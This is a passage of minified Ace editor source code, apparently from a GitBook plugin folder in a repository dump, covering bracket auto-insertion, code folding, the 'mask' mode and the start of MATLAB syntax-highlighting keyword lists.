s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/mask\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mask_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mask_highlight_rules\").MaskHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/css\").CssBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/mask\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-matlab.js",
    "content": "define(\"ace/mode/matlab_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"break|case|catch|classdef|continue|else|elseif|end|for|function|global|if|otherwise|parfor|persistent|return|spmd|switch|try|while\",t=\"true|false|inf|Inf|nan|NaN|eps|pi|ans|nargin|nargout|varargin|varargout\",n=\"abs|accumarray|acos(?:d|h)?|acot(?:d|h)?|acsc(?:d|h)?|actxcontrol(?:list|select)?|actxGetRunningServer|actxserver|addlistener|addpath|addpref|addtodate|airy|align|alim|all|allchild|alpha|alphamap|amd|ancestor|and|angle|annotation|any|area|arrayfun|asec(?:d|h)?|asin(?:d|h)?|assert|assignin|atan(?:2|d|h)?|audiodevinfo|audioplayer|audiorecorder|aufinfo|auread|autumn|auwrite|avifile|aviinfo|aviread|axes|axis|balance|bar(?:3|3h|h)?|base2dec|beep|BeginInvoke|bench|bessel(?:h|i|j|k|y)|beta|betainc|betaincinv|betaln|bicg|bicgstab|bicgstabl|bin2dec|bitand|bitcmp|bitget|bitmax|bitnot|bitor|bitset|bitshift|bitxor|blanks|blkdiag|bone|box|brighten|brush|bsxfun|builddocsearchdb|builtin|bvp4c|bvp5c|bvpget|bvpinit|bvpset|bvpxtend|calendar|calllib|callSoapService|camdolly|cameratoolbar|camlight|camlookat|camorbit|campan|campos|camproj|camroll|camtarget|camup|camva|camzoom|cart2pol|cart2sph|cast|cat|caxis|cd|cdf2rdf|cdfepoch|cdfinfo|cdflib(?:.(?:close|closeVar|computeEpoch|computeEpoch16|create|createAttr|createVar|delete|deleteAttr|deleteAttrEntry|deleteAttrgEntry|deleteVar|deleteVarRecords|epoch16Breakdown|epochBreakdown|getAttrEntry|getAttrgEntry|getAttrMaxEntry|getAttrMaxgEntry|getAttrName|getAttrNum|getAttrScope|getCacheSize|getChecksum|getCompression|getCompressionCacheSize|getConstantNames|getConstantValue|getCopyright|getFileBackward|getFormat|getLibraryCopyright|getLibraryVersion|getMajority|getName|getNumAttrEntries|getNumAttrgEntries|getNumAttributes|getNumgAttributes|getReadOnlyMode|getStageCacheSize|getValidate|getVarAllocRecords|getVarBlockingFactor|getVarCacheSize|getVarCompression|getVarData|getVarMaxAllocRecNum|getVarMaxWrittenRecNum|getVarName|getVarNum|getVarNumRecsWritten|getVarPadValue|getVarRecordData|getVarReservePercent|getVarsMaxWrittenRecNum|getVarSparseRecords|getVersion|hyperGetVarData|hyperPutVarData|inquire|inquireAttr|inquireAttrEntry|inquireAttrgEntry|inquireVar|open|putAttrEntry|putAttrgEntry|putVarData|putVarRecordData|renameAttr|renameVar|setCacheSize|setChecksum|setCompression|setCompressionCacheSize|setFileBackward|setFormat|setMajority|setReadOnlyMode|setStageCacheSize|setValidate|setVarAllocBlockRecords|setVarBlockingFactor|setVarCacheSize|setVarCompression|setVarInitialRecs|setVarPadValue|SetVarReservePercent|setVarsCacheSize|setVarSparseRecords))?|cdfread|cdfwrite|ceil|cell2mat|cell2struct|celldisp|cellfun|cellplot|cellstr|cgs|checkcode|checkin|checkout|chol|cholinc|cholupdate|circshift|cla|clabel|class|clc|clear|clearvars|clf|clipboard|clock|close|closereq|cmopts|cmpermute|cmunique|colamd|colon|colorbar|colordef|colormap|colormapeditor|colperm|Combine|comet|comet3|commandhistory|commandwindow|compan|compass|complex|computer|cond|condeig|condest|coneplot|conj|containers.Map|contour(?:3|c|f|slice)?|contrast|conv|conv2|convhull|convhulln|convn|cool|copper|copyfile|copyobj|corrcoef|cos(?:d|h)?|cot(?:d|h)?|cov|cplxpair|cputime|createClassFromWsdl|createSoapMessage|cross|csc(?:d|h)?|csvread|csvwrite|ctranspose|cumprod|cumsum|cumtrapz|curl|customverctrl|cylinder|daqread|daspect|datacursormode|datatipinfo|date|datenum|datestr|datetick|datevec|dbclear|dbcont|dbdown|dblquad|dbmex|dbquit|dbstack|dbstatus|dbstep|dbstop|dbtype|dbup|dde23|ddeget|ddesd|ddeset|deal|deblank|dec2base|dec2bin|dec2hex|decic|deconv|del2|delaunay|delaunay3|delaunayn|DelaunayTri|delete|demo|depdir|depfun|det|detrend|deval|diag|dialog|diary|diff|diffuse|dir|disp|display|dither|divergence|dlmread|dlmwrite|dmperm|doc|docsearch|dos|dot|dragrect|drawnow|dsearch|dsearchn|dynamicprops|echo|echodemo|edit|eig|eigs|ellipj|ellipke|ellipsoid|empty|enableNETfromNetworkDrive|enableservice|EndInvoke|enumeration|eomday|eq|erf|erfc|erfcinv|erfcx|erfinv|error|errorbar|errordlg|etime|etree|etreeplot|eval|evalc|evalin|event.(?:EventData|listener|PropertyEvent|proplistener)|exifread|exist|exit|exp|expint|expm|expm1|export2wsdlg|eye|ezcontour|ezcontourf|ezmesh|ezmeshc|ezplot|ezplot3|ezpolar|ezsurf|ezsurfc|factor|factorial|fclose|feather|feature|feof|ferror|feval|fft|fft2|fftn|fftshift|fftw|fgetl|fgets|fieldnames|figure|figurepalette|fileattrib|filebrowser|filemarker|fileparts|fileread|filesep|fill|fill3|filter|filter2|find|findall|findfigs|findobj|findstr|finish|fitsdisp|fitsinfo|fitsread|fitswrite|fix|flag|flipdim|fliplr|flipud|floor|flow|fminbnd|fminsearch|fopen|format|fplot|fprintf|frame2im|fread|freqspace|frewind|fscanf|fseek|ftell|FTP|full|fullfile|func2str|functions|funm|fwrite|fzero|gallery|gamma|gammainc|gammaincinv|gammaln|gca|gcbf|gcbo|gcd|gcf|gco|ge|genpath|genvarname|get|getappdata|getenv|getfield|getframe|getpixelposition|getpref|ginput|gmres|gplot|grabcode|gradient|gray|graymon|grid|griddata(?:3|n)?|griddedInterpolant|gsvd|gt|gtext|guidata|guide|guihandles|gunzip|gzip|h5create|h5disp|h5info|h5read|h5readatt|h5write|h5writeatt|hadamard|handle|hankel|hdf|hdf5|hdf5info|hdf5read|hdf5write|hdfinfo|hdfread|hdftool|help|helpbrowser|helpdesk|helpdlg|helpwin|hess|hex2dec|hex2num|hgexport|hggroup|hgload|hgsave|hgsetget|hgtransform|hidden|hilb|hist|histc|hold|home|horzcat|hostid|hot|hsv|hsv2rgb|hypot|ichol|idivide|ifft|ifft2|ifftn|ifftshift|ilu|im2frame|im2java|imag|image|imagesc|imapprox|imfinfo|imformats|import|importdata|imread|imwrite|ind2rgb|ind2sub|inferiorto|info|inline|inmem|inpolygon|input|inputdlg|inputname|inputParser|inspect|instrcallback|instrfind|instrfindall|int2str|integral(?:2|3)?|interp(?:1|1q|2|3|ft|n)|interpstreamspeed|intersect|intmax|intmin|inv|invhilb|ipermute|isa|isappdata|iscell|iscellstr|ischar|iscolumn|isdir|isempty|isequal|isequaln|isequalwithequalnans|isfield|isfinite|isfloat|isglobal|ishandle|ishghandle|ishold|isinf|isinteger|isjava|iskeyword|isletter|islogical|ismac|ismatrix|ismember|ismethod|isnan|isnumeric|isobject|isocaps|isocolors|isonormals|isosurface|ispc|ispref|isprime|isprop|isreal|isrow|isscalar|issorted|isspace|issparse|isstr|isstrprop|isstruct|isstudent|isunix|isvarname|isvector|javaaddpath|javaArray|javachk|javaclasspath|javacomponent|javaMethod|javaMethodEDT|javaObject|javaObjectEDT|javarmpath|jet|keyboard|kron|lasterr|lasterror|lastwarn|lcm|ldivide|ldl|le|legend|legendre|length|libfunctions|libfunctionsview|libisloaded|libpointer|libstruct|license|light|lightangle|lighting|lin2mu|line|lines|linkaxes|linkdata|linkprop|linsolve|linspace|listdlg|listfonts|load|loadlibrary|loadobj|log|log10|log1p|log2|loglog|logm|logspace|lookfor|lower|ls|lscov|lsqnonneg|lsqr|lt|lu|luinc|magic|makehgtform|mat2cell|mat2str|material|matfile|matlab.io.MatFile|matlab.mixin.(?:Copyable|Heterogeneous(?:.getDefaultScalarElement)?)|matlabrc|matlabroot|max|maxNumCompThreads|mean|median|membrane|memmapfile|memory|menu|mesh|meshc|meshgrid|meshz|meta.(?:class(?:.fromName)?|DynamicProperty|EnumeratedValue|event|MetaData|method|package(?:.(?:fromName|getAllPackages))?|property)|metaclass|methods|methodsview|mex(?:.getCompilerConfigurations)?|MException|mexext|mfilename|min|minres|minus|mislocked|mkdir|mkpp|mldivide|mlint|mlintrpt|mlock|mmfileinfo|mmreader|mod|mode|more|move|movefile|movegui|movie|movie2avi|mpower|mrdivide|msgbox|mtimes|mu2lin|multibandread|multibandwrite|munlock|namelengthmax|nargchk|narginchk|nargoutchk|native2unicode|nccreate|ncdisp|nchoosek|ncinfo|ncread|ncreadatt|ncwrite|ncwriteatt|ncwriteschema|ndgrid|ndims|ne|NET(?:.(?:addAssembly|Assembly|convertArray|createArray|createGeneric|disableAutoRelease|enableAutoRelease|GenericClass|invokeGenericMethod|NetException|setStaticProperty))?|netcdf.(?:abort|close|copyAtt|create|defDim|defGrp|defVar|defVarChunking|defVarDeflate|defVarFill|defVarFletcher32|delAtt|endDef|getAtt|getChunkCache|getConstant|getConstantNames|getVar|inq|inqAtt|inqAttID|inqAttName|inqDim|inqDimID|inqDimIDs|inqFormat|inqGrpName|inqGrpNameFull|inqGrpParent|inqGrps|inqLibVers|inqNcid|inqUnlimDims|inqVar|inqVarChunking|inqVarDeflate|inqVarFill|inqVarFletcher32|inqVarID|inqVarIDs|open|putAtt|putVar|reDef|renameAtt|renameDim|renameVar|setChunkCache|setDefaultFormat|setFill|sync)|newplot|nextpow2|nnz|noanimate|nonzeros|norm|normest|not|notebook|now|nthroot|null|num2cell|num2hex|num2str|numel|nzmax|ode(?:113|15i|15s|23|23s|23t|23tb|45)|odeget|odeset|odextend|onCleanup|ones|open|openfig|opengl|openvar|optimget|optimset|or|ordeig|orderfields|ordqz|ordschur|orient|orth|pack|padecoef|pagesetupdlg|pan|pareto|parseSoapResponse|pascal|patch|path|path2rc|pathsep|pathtool|pause|pbaspect|pcg|pchip|pcode|pcolor|pdepe|pdeval|peaks|perl|perms|permute|pie|pink|pinv|planerot|playshow|plot|plot3|plotbrowser|plotedit|plotmatrix|plottools|plotyy|plus|pol2cart|polar|poly|polyarea|polyder|polyeig|polyfit|polyint|polyval|polyvalm|pow2|power|ppval|prefdir|preferences|primes|print|printdlg|printopt|printpreview|prod|profile|profsave|propedit|propertyeditor|psi|publish|PutCharArray|PutFullMatrix|PutWorkspaceData|pwd|qhull|qmr|qr|qrdelete|qrinsert|qrupdate|quad|quad2d|quadgk|quadl|quadv|questdlg|quit|quiver|quiver3|qz|rand|randi|randn|randperm|RandStream(?:.(?:create|getDefaultStream|getGlobalStream|list|setDefaultStream|setGlobalStream))?|rank|rat|rats|rbbox|rcond|rdivide|readasync|real|reallog|realmax|realmin|realpow|realsqrt|record|rectangle|rectint|recycle|reducepatch|reducevolume|refresh|refreshdata|regexp|regexpi|regexprep|regexptranslate|rehash|rem|Remove|RemoveAll|repmat|reset|reshape|residue|restoredefaultpath|rethrow|rgb2hsv|rgb2ind|rgbplot|ribbon|rmappdata|rmdir|rmfield|rmpath|rmpref|rng|roots|rose|rosser|rot90|rotate|rotate3d|round|rref|rsf2csf|run|save|saveas|saveobj|savepath|scatter|scatter3|schur|sec|secd|sech|selectmoveresize|semilogx|semilogy|sendmail|serial|set|setappdata|setdiff|setenv|setfield|setpixelposition|setpref|setstr|setxor|shading|shg|shiftdim|showplottool|shrinkfaces|sign|sin(?:d|h)?|size|slice|smooth3|snapnow|sort|sortrows|sound|soundsc|spalloc|spaugment|spconvert|spdiags|specular|speye|spfun|sph2cart|sphere|spinmap|spline|spones|spparms|sprand|sprandn|sprandsym|sprank|spring|sprintf|spy|sqrt|sqrtm|squeeze|ss2tf|sscanf|stairs|startup|std|stem|stem3|stopasync|str2double|str2func|str2mat|str2num|strcat|strcmp|strcmpi|stream2|stream3|streamline|streamparticles|streamribbon|streamslice|streamtube|strfind|strjust|strmatch|strncmp|strncmpi|strread|strrep|strtok|strtrim|struct2cell|structfun|strvcat|sub2ind|subplot|subsasgn|subsindex|subspace|subsref|substruct|subvolume|sum|summer|superclasses|superiorto|support|surf|surf2patch|surface|surfc|surfl|surfnorm|svd|svds|swapbytes|symamd|symbfact|symmlq|symrcm|symvar|system|tan(?:d|h)?|tar|tempdir|tempname|tetramesh|texlabel|text|textread|textscan|textwrap|tfqmr|throw|tic|Tiff(?:.(?:getTagNames|getVersion))?|timer|timerfind|timerfindall|times|timeseries|title|toc|todatenum|toeplitz|toolboxdir|trace|transpose|trapz|treelayout|treeplot|tril|trimesh|triplequad|triplot|TriRep|TriScatteredInterp|trisurf|triu|tscollection|tsearch|tsearchn|tstool|type|typecast|uibuttongroup|uicontextmenu|uicontrol|uigetdir|uigetfile|uigetpref|uiimport|uimenu|uiopen|uipanel|uipushtool|uiputfile|uiresume|uisave|uisetcolor|uisetfont|uisetpref|uistack|uitable|uitoggletool|uitoolbar|uiwait|uminus|undocheckout|unicode2native|union|unique|unix|unloadlibrary|unmesh|unmkpp|untar|unwrap|unzip|uplus|upper|urlread|urlwrite|usejava|userpath|validateattributes|validatestring|vander|var|vectorize|ver|verctrl|verLessThan|version|vertcat|VideoReader(?:.isPlatformSupported)?|VideoWriter(?:.getProfiles)?|view|viewmtx|visdiff|volumebounds|voronoi|voronoin|wait|waitbar|waitfor|waitforbuttonpress|warndlg|warning|waterfall|wavfinfo|wavplay|wavread|wavrecord|wavwrite|web|weekday|what|whatsnew|which|whitebg|who|whos|wilkinson|winopen|winqueryreg|winter|wk1finfo|wk1read|wk1write|workspace|xlabel|xlim|xlsfinfo|xlsread|xlswrite|xmlread|xmlwrite|xor|xslt|ylabel|ylim|zeros|zip|zlabel|zlim|zoom|addedvarplot|andrewsplot|anova(?:1|2|n)|ansaribradley|aoctool|barttest|bbdesign|beta(?:cdf|fit|inv|like|pdf|rnd|stat)|bino(?:cdf|fit|inv|pdf|rnd|stat)|biplot|bootci|bootstrp|boxplot|candexch|candgen|canoncorr|capability|capaplot|caseread|casewrite|categorical|ccdesign|cdfplot|chi2(?:cdf|gof|inv|pdf|rnd|stat)|cholcov|Classification(?:BaggedEnsemble|Discriminant(?:.(?:fit|make|template))?|Ensemble|KNN(?:.(?:fit|template))?|PartitionedEnsemble|PartitionedModel|Tree(?:.(?:fit|template))?)|classify|classregtree|cluster|clusterdata|cmdscale|combnk|Compact(?:Classification(?:Discriminant|Ensemble|Tree)|Regression(?:Ensemble|Tree)|TreeBagger)|confusionmat|controlchart|controlrules|cophenet|copula(?:cdf|fit|param|pdf|rnd|stat)|cordexch|corr|corrcov|coxphfit|createns|crosstab|crossval|cvpartition|datasample|dataset|daugment|dcovary|dendrogram|dfittool|disttool|dummyvar|dwtest|ecdf|ecdfhist|ev(?:cdf|fit|inv|like|pdf|rnd|stat)|ExhaustiveSearcher|exp(?:cdf|fit|inv|like|pdf|rnd|stat)|factoran|fcdf|ff2n|finv|fitdist|fitensemble|fpdf|fracfact|fracfactgen|friedman|frnd|fstat|fsurfht|fullfact|gagerr|gam(?:cdf|fit|inv|like|pdf|rnd|stat)|GeneralizedLinearModel(?:.fit)?|geo(?:cdf|inv|mean|pdf|rnd|stat)|gev(?:cdf|fit|inv|like|pdf|rnd|stat)|gline|glmfit|glmval|glyphplot|gmdistribution(?:.fit)?|gname|gp(?:cdf|fit|inv|like|pdf|rnd|stat)|gplotmatrix|grp2idx|grpstats|gscatter|haltonset|harmmean|hist3|histfit|hmm(?:decode|estimate|generate|train|viterbi)|hougen|hyge(?:cdf|inv|pdf|rnd|stat)|icdf|inconsistent|interactionplot|invpred|iqr|iwishrnd|jackknife|jbtest|johnsrnd|KDTreeSearcher|kmeans|knnsearch|kruskalwallis|ksdensity|kstest|kstest2|kurtosis|lasso|lassoglm|lassoPlot|leverage|lhsdesign|lhsnorm|lillietest|LinearModel(?:.fit)?|linhyptest|linkage|logn(?:cdf|fit|inv|like|pdf|rnd|stat)|lsline|mad|mahal|maineffectsplot|manova1|manovacluster|mdscale|mhsample|mle|mlecov|mnpdf|mnrfit|mnrnd|mnrval|moment|multcompare|multivarichart|mvn(?:cdf|pdf|rnd)|mvregress|mvregresslike|mvt(?:cdf|pdf|rnd)|NaiveBayes(?:.fit)?|nan(?:cov|max|mean|median|min|std|sum|var)|nbin(?:cdf|fit|inv|pdf|rnd|stat)|ncf(?:cdf|inv|pdf|rnd|stat)|nct(?:cdf|inv|pdf|rnd|stat)|ncx2(?:cdf|inv|pdf|rnd|stat)|NeighborSearcher|nlinfit|nlintool|nlmefit|nlmefitsa|nlparci|nlpredci|nnmf|nominal|NonLinearModel(?:.fit)?|norm(?:cdf|fit|inv|like|pdf|rnd|stat)|normplot|normspec|ordinal|outlierMeasure|parallelcoords|paretotails|partialcorr|pcacov|pcares|pdf|pdist|pdist2|pearsrnd|perfcurve|perms|piecewisedistribution|plsregress|poiss(?:cdf|fit|inv|pdf|rnd|tat)|polyconf|polytool|prctile|princomp|ProbDist(?:Kernel|Parametric|UnivKernel|UnivParam)?|probplot|procrustes|qqplot|qrandset|qrandstream|quantile|randg|random|randsample|randtool|range|rangesearch|ranksum|rayl(?:cdf|fit|inv|pdf|rnd|stat)|rcoplot|refcurve|refline|regress|Regression(?:BaggedEnsemble|Ensemble|PartitionedEnsemble|PartitionedModel|Tree(?:.(?:fit|template))?)|regstats|relieff|ridge|robustdemo|robustfit|rotatefactors|rowexch|rsmdemo|rstool|runstest|sampsizepwr|scatterhist|sequentialfs|signrank|signtest|silhouette|skewness|slicesample|sobolset|squareform|statget|statset|stepwise|stepwisefit|surfht|tabulate|tblread|tblwrite|tcdf|tdfread|tiedrank|tinv|tpdf|TreeBagger|treedisp|treefit|treeprune|treetest|treeval|trimmean|trnd|tstat|ttest|ttest2|unid(?:cdf|inv|pdf|rnd|stat)|unif(?:cdf|inv|it|pdf|rnd|stat)|vartest(?:2|n)?|wbl(?:cdf|fit|inv|like|pdf|rnd|stat)|wblplot|wishrnd|x2fx|xptread|zscore|ztestadapthisteq|analyze75info|analyze75read|applycform|applylut|axes2pix|bestblk|blockproc|bwarea|bwareaopen|bwboundaries|bwconncomp|bwconvhull|bwdist|bwdistgeodesic|bweuler|bwhitmiss|bwlabel|bwlabeln|bwmorph|bwpack|bwperim|bwselect|bwtraceboundary|bwulterode|bwunpack|checkerboard|col2im|colfilt|conndef|convmtx2|corner|cornermetric|corr2|cp2tform|cpcorr|cpselect|cpstruct2pairs|dct2|dctmtx|deconvblind|deconvlucy|deconvreg|deconvwnr|decorrstretch|demosaic|dicom(?:anon|dict|info|lookup|read|uid|write)|edge|edgetaper|entropy|entropyfilt|fan2para|fanbeam|findbounds|fliptform|freqz2|fsamp2|fspecial|ftrans2|fwind1|fwind2|getheight|getimage|getimagemodel|getline|getneighbors|getnhood|getpts|getrangefromclass|getrect|getsequence|gray2ind|graycomatrix|graycoprops|graydist|grayslice|graythresh|hdrread|hdrwrite|histeq|hough|houghlines|houghpeaks|iccfind|iccread|iccroot|iccwrite|idct2|ifanbeam|im2bw|im2col|im2double|im2int16|im2java2d|im2single|im2uint16|im2uint8|imabsdiff|imadd|imadjust|ImageAdapter|imageinfo|imagemodel|imapplymatrix|imattributes|imbothat|imclearborder|imclose|imcolormaptool|imcomplement|imcontour|imcontrast|imcrop|imdilate|imdisplayrange|imdistline|imdivide|imellipse|imerode|imextendedmax|imextendedmin|imfill|imfilter|imfindcircles|imfreehand|imfuse|imgca|imgcf|imgetfile|imhandles|imhist|imhmax|imhmin|imimposemin|imlincomb|imline|immagbox|immovie|immultiply|imnoise|imopen|imoverview|imoverviewpanel|impixel|impixelinfo|impixelinfoval|impixelregion|impixelregionpanel|implay|impoint|impoly|impositionrect|improfile|imputfile|impyramid|imreconstruct|imrect|imregconfig|imregionalmax|imregionalmin|imregister|imresize|imroi|imrotate|imsave|imscrollpanel|imshow|imshowpair|imsubtract|imtool|imtophat|imtransform|imview|ind2gray|ind2rgb|interfileinfo|interfileread|intlut|ippl|iptaddcallback|iptcheckconn|iptcheckhandle|iptcheckinput|iptcheckmap|iptchecknargin|iptcheckstrs|iptdemos|iptgetapi|iptGetPointerBehavior|iptgetpref|ipticondir|iptnum2ordinal|iptPointerManager|iptprefs|iptremovecallback|iptSetPointerBehavior|iptsetpref|iptwindowalign|iradon|isbw|isflat|isgray|isicc|isind|isnitf|isrgb|isrset|lab2double|lab2uint16|lab2uint8|label2rgb|labelmatrix|makecform|makeConstrainToRectFcn|makehdr|makelut|makeresampler|maketform|mat2gray|mean2|medfilt2|montage|nitfinfo|nitfread|nlfilter|normxcorr2|ntsc2rgb|openrset|ordfilt2|otf2psf|padarray|para2fan|phantom|poly2mask|psf2otf|qtdecomp|qtgetblk|qtsetblk|radon|rangefilt|reflect|regionprops|registration.metric.(?:MattesMutualInformation|MeanSquares)|registration.optimizer.(?:OnePlusOneEvolutionary|RegularStepGradientDescent)|rgb2gray|rgb2ntsc|rgb2ycbcr|roicolor|roifill|roifilt2|roipoly|rsetwrite|std2|stdfilt|strel|stretchlim|subimage|tformarray|tformfwd|tforminv|tonemap|translate|truesize|uintlut|viscircles|warp|watershed|whitepoint|wiener2|xyz2double|xyz2uint16|ycbcr2rgb|bintprog|color|fgoalattain|fminbnd|fmincon|fminimax|fminsearch|fminunc|fseminf|fsolve|fzero|fzmult|gangstr|ktrlink|linprog|lsqcurvefit|lsqlin|lsqnonlin|lsqnonneg|optimget|optimset|optimtool|quadprog\",r=\"cell|struct|char|double|single|logical|u?int(?:8|16|32|64)|sparse\",i=this.createKeywordMapper({\"storage.type\":r,\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"string\",regex:\"'\",stateName:\"qstring\",next:[{token:\"constant.language.escape\",regex:\"''\"},{token:\"string\",regex:\"'|$\",next:\"start\"},{defaultToken:\"string\"}]},{token:\"text\",regex:\"\\\\s+\"},{regex:\"\",next:\"noQstring\"}],noQstring:[{regex:\"^\\\\s*%{\\\\s*$\",token:\"comment.start\",push:\"blockComment\"},{token:\"comment\",regex:\"%[^\\r\\n]*\"},{token:\"string\",regex:'\"',stateName:\"qqstring\",next:[{token:\"constant.language.escape\",regex:/\\\\./},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstr